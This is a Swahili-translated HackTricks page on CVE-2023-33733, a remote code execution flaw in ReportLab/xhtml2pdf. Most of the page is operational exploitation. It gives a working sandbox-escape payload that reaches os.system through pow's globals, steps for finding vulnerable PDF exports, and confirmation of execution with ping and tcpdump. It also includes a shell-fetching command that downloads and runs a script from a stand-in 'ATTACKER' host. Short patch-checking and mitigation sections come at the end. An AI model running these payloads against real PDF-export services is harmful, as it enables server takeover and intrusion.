ReportLab/xhtml2pdf [[[…]]] kutathmini-misemo RCE (CVE-2023-33733)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ukurasa huu unaelezea praktiki ya sandbox escape na RCE primitive katika ReportLab’s rl_safe_eval inayotumiwa na xhtml2pdf na pipelines nyingine za PDF-generation wakati wa kutengeneza HTML inayodhibitiwa na mtumiaji ndani ya PDF.
CVE-2023-33733 inaathiri ReportLab versions hadi na ikijumuisha 3.6.12. Katika muktadha fulani wa attribute (kwa mfano color), thamani zilizosukwa ndani ya triple brackets [[[ … ]]] zinatathminiwa upande wa server na rl_safe_eval. Kwa kutengeneza payload inayopinduka kutoka kwenye builtin iliyoorodheshwa kama salama (pow) hadi kwenye globals za function yake ya Python, mshambuliaji anaweza kufikia module os na kutekeleza amri.
Mambo muhimu
- Kichocheo: inject [[[ … ]]] katika attributes zinazotathminiwa kama ndani ya markup inayotafsiriwa na ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval inabadilisha au kuondoa builtins hatarishi lakini functions zilizotathminiwa bado zinaonyesha globals.
- Ku-bypass: tengeneza class ya muda Word ili ku-bypass ukaguzi wa majina wa rl_safe_eval na kufikia string “globals” huku ukiepuka uhalifu wa kuchuja dunder.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Utulivu: Rudisha thamani halali kwa attribute baada ya utekelezaji (kwa color, tumia ‘red’).
Wakati wa kujaribu
- Applications zinazotoa HTML-to-PDF export (profiles, invoices, reports) na zinaonyesha xhtml2pdf/ReportLab katika PDF metadata au maoni ya HTTP response.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- HTTP response kwa PDF mara nyingi huanza na comment ya ReportLab generator
Jinsi ku-bypass kwa sandbox kunavyofanya kazi
- rl_safe_eval inafuta au kubadilisha builtins nyingi (getattr, type, pow, …) na inaweka uchujaji wa majina kupiga marufuku attributes zinazoanza na __ au ziko katika denylist.
- Hata hivyo, functions salama zinaishi katika kamusi ya globals inayofikika kama func.globals.
- Tumia type(type(1)) kupata tena function asli ya builtin type (ku-bypass wrapper ya ReportLab), kisha fafanua class Word inayotokana na str yenye tabia iliyobadilishwa ya kulinganisha ili:
- .startswith(‘’) → kila mara False (ku-bypass ukaguzi wa jina startswith(‘’))
- .eq inarudisha False tu kwa kulinganisha kwa mara ya kwanza (ku-bypass ukaguzi wa uanachama wa denylist) na True baadaye (hivyo getattr ya Python inafanya kazi)
- .hash ni sawa na hash(str(self))
- Kwa hili, getattr(pow, Word(‘globals’)) inarudisha kamusi ya globals ya function pow iliyozungushwa, ambayo inajumuisha module os iliyohamishwa. Kisha:
['os'].system('<cmd>').
Mfano mdogo wa muundo wa matumizi (mfano wa attribute) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.
- Aina ya list-comprehension inaruhusu usemi mmoja unaokubalika na rl_safe_eval.
- Kiambatisho kinachofuata na ‘red’ hurudisha rangi halali ya CSS ili rendering isiweze kuvunjika.
- Badilisha amri inapohitajika; tumia ping kuthibitisha utekelezaji kwa tcpdump.
Mtiririko wa operesheni
- Tambua PDF generator
- PDF Producer inaonyesha xhtml2pdf; HTTP response ina comment ya ReportLab.
- Pata input inayorudishwa ndani ya PDF (kwa mfano, profile bio/description) na chochea export.
- Thibitisha utekelezaji kwa ICMP yenye kelele ndogo
- Run:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows mara nyingi inatuma hasa echo requests nne kwa default.
- Pata shell
- Kwa Windows, mbinu ya hatua mbili yenye kuaminika inaepuka matatizo ya quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Kwa targets za Linux, hatua mbili zinazofanana kwa curl/wget pia zinawezekana:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Vidokezo na ushauri
- Muktadha wa attribute: color ni attribute inayojulikana kuwa inatathminiwa; attributes nyingine katika ReportLab markup pia zinaweza kutathminiwa. Ikiwa sehemu moja imesafishwa, jaribu nyingine zinazotumika kwenye mtiririko wa PDF (field tofauti, table styles, n.k.).
- Quoting: Weka amri fupi. Downloads za hatua mbili hupunguza kwa kiasi kikubwa shida za quoting na escaping.
- Uaminifu: Ikiwa exports zinahifadhiwa cache au kuwekwa kwenye queue, badilisha kidogo payload (mf., njia au query za nasibu) kuepuka kufika kwenye cache.
Hali ya patch (2024–2025) na kutambua backports
- 3.6.13 (27 Apr 2023) ilirekebisha
colors.toColorkuwa parser ya AST-walk; releases mpya za 4.x zinaendelea kutumia njia hii. Kufanyarl_settings.toColorCanUseiwerl_safe_evalaurl_extended_literal_evalkurerudisha evaluator iliyo na kipengele hatarishi hata kwenye versions za sasa. - Sehemu kadhaa za distributions hutoa fixes zilizorekebishwa (backported) huku zikihifadhi nambari za version kama 3.6.12-1+deb12u1; usitegemee semantic version peke yake. Grep
colors.pyforast.parseau chunguzatoColorwakati wa runtime kuthibitisha parser salama iko inatumika (tazama ukaguzi mfupi hapa chini). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Uzuiaji na utambuzi
- Sasisha ReportLab hadi 3.6.13 au baadaye (CVE-2023-33733 imerekebishwa). Fuata taarifa za usalama pia katika vifurushi vya distro.
- Usiweke HTML/markup inayodhibitiwa na mtumiaji moja kwa moja ndani ya xhtml2pdf/ReportLab bila kusafisha kwa uangalifu. Ondoa/katae muundo za tathmini za [[[…]]] na lebo maalum za muuzaji wakati ingizo halitoki kwa kuaminika.
- Fikiria kuzima au kuifunga kabisa matumizi ya rl_safe_eval kwa ingizo lisilo la kuaminika.
- Fuatilia muunganisho unaoshuku unaotoka wakati wa uzalishaji wa PDF (mf., ICMP/HTTP kutoka kwa seva za programu wakati wa kusafirisha nyaraka).
Marejeo
- PoC na uchambuzi wa kiufundi: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (matumizi ya ulimwengu halisi, payloads za Windows za hatua mbili): HTB: University
- NVD entry (matoleo yaliyoathiriwa): CVE-2023-33733
- xhtml2pdf docs (dhana za markup/ukurasa): xhtml2pdf docs
- ReportLab 3.6.13 release notes (urekebishaji wa AST wa toColor): What’s New in 3.6.13
- Debian security tracker inayoonyesha marekebisho yaliyo-backported huku matoleo madogo yasiyobadilika: Debian tracker CVE-2023-33733
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


